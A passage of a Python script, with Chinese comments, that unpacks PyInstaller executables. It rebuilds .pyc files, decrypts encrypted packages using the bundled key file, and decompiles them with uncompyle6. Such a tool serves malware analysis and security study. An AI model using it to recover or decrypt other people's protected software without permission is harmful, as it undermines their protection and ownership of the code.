27 | key_file_path = os.path.join(extracted_dir, "pyimod00_crypto_key") # 秘钥存放文件
28 |
29 | out_dir = exe_file + "_out" # 输出转换结果目录
30 |
31 | # print(root_path, exe_file, main_file, ext, extracted_dir, extracted_package_dir, struct_file_path, main_file_path, out_dir)
32 |
33 |
34 | def get_main_file():
35 | files = os.listdir(extracted_dir)
36 | for af in files:
37 | if af.endswith(".exe.manifest") and " " not in af:
38 | return str(af).replace(".exe.manifest", "")
39 |
40 |
41 | def make_exe_package_files():
42 | #### 转换解密文件
43 | ht = HexTool(struct_file_path)
44 | # 转换入口文件
45 | out_pyc_files.append(ht.make_main_pyc(main_file_path))
46 |
47 | # 转换依赖包文件
48 | package_files = os.listdir(extracted_package_dir)
49 | # print(package_files)
50 | for file in package_files:
51 | # 过滤依赖文件,这里简单过滤
52 | if file.endswith(".pyc") and len(file.split(".")) == 2 and not file.startswith("_"):
53 | # if file.endswith(".pyc"):
54 | file_path = os.path.join(extracted_package_dir, file)
55 | ht.make_package_pyc(file_path)
56 | out_pyc_files.append(file_path)
57 |
58 | # print(len(out_pyc_files),out_pyc_files)
59 |
60 | #### 逆向还原文件,然后输出到结果目录
61 | pool = multiprocessing.Pool(processes=3)
62 | for pyc_file in out_pyc_files:
63 | # 单线程
64 | # ht.reverse_pyc(pyc_file, out_dir)
65 |
66 | # 多线程
67 | # t = threading.Thread(target=ht.reverse_pyc, args=(pyc_file, out_dir))
68 | # t.start()
69 |
70 | # 多进程
71 | # p = multiprocessing.Process(target=ht.reverse_pyc, args=(pyc_file, out_dir))
72 | # p.start()
73 |
74 | # 进程池
75 | pool.apply_async(ht.reverse_pyc, args=(pyc_file, out_dir))
76 | pool.close()
77 | pool.join()
78 |
79 |
80 | def make_encrypto_exe_package_files():
81 | #### 转换解密文件
82 | ht = HexTool(struct_file_path)
83 | # 转换入口文件
84 | out_pyc_files.append(ht.make_main_pyc(main_file_path))
85 |
86 | # 转换依赖包文件
87 | package_files = os.listdir(extracted_package_dir)
88 | # print(package_files)
89 | for file in package_files:
90 | # 过滤依赖文件,这里简单过滤
91 | if file.endswith(".pyc.encrypted") and len(file.split(".")) == 3 and not file.startswith("_"):
92 | file_path = os.path.join(extracted_package_dir, file)
93 | # 这里要先解密文件 解密为pyc文件
94 | key = ht.get_encrypto_key(key_file_path)
95 | ht.decrypt_package_file(key, file_path, str(file_path).replace(".pyc.encrypted", ""))
96 | ht.make_main_pyc(str(file_path).replace(".pyc.encrypted", ""))
97 | out_pyc_files.append(str(file_path).replace(".encrypted", ""))
98 |
99 | #### 逆向还原文件,然后输出到结果目录
100 | pool = multiprocessing.Pool(processes=3)
101 | for pyc_file in out_pyc_files:
102 | # 单线程
103 | # ht.reverse_pyc(pyc_file, out_dir)
104 |
105 | # 多线程
106 | # t = threading.Thread(target=ht.reverse_pyc, args=(pyc_file, out_dir))
107 | # t.start()
108 |
109 | # 多进程
110 | # p = multiprocessing.Process(target=ht.reverse_pyc, args=(pyc_file, out_dir))
111 | # p.start()
112 |
113 | # 进程池
114 | pool.apply_async(ht.reverse_pyc, args=(pyc_file, out_dir))
115 | pool.close()
116 | pool.join()
117 |
118 |
119 | if __name__ == '__main__':
120 | if len(sys.argv) < 2:
121 | print("Usage: reverse_pyexe xxx.exe")
122 | sys.exit(-1)
123 |
124 | try:
125 | import uncompyle6
126 | except ImportError:
127 | print("[-] 未安装模块[uncompyle6]")
128 | print("[*] 请先安装模块[uncompyle6]")
129 | sys.exit(-1)
130 |
131 | ### 逆向exe文件
132 | re_flag = reverse_main(exe_file_path)
133 | if re_flag:
134 | os.chdir(root_path)
135 | # 获取入口文件
136 | main_file = get_main_file()
137 | main_file_path = os.path.join(extracted_dir, main_file) # 入口文件路径
138 | # main_file_path = os.path.join(root_path, main_file_path) # 入口文件 绝对路径
139 | # 转换出的pyc文件列表
140 | out_pyc_files = []
141 |
142 | ### 判断是否有加密
143 | if os.listdir(extracted_package_dir)[2].endswith(".encrypted"):
144 | make_encrypto_exe_package_files()
145 | else:
146 | make_exe_package_files()
147 |
148 |
149 |
150 |
--------------------------------------------------------------------------------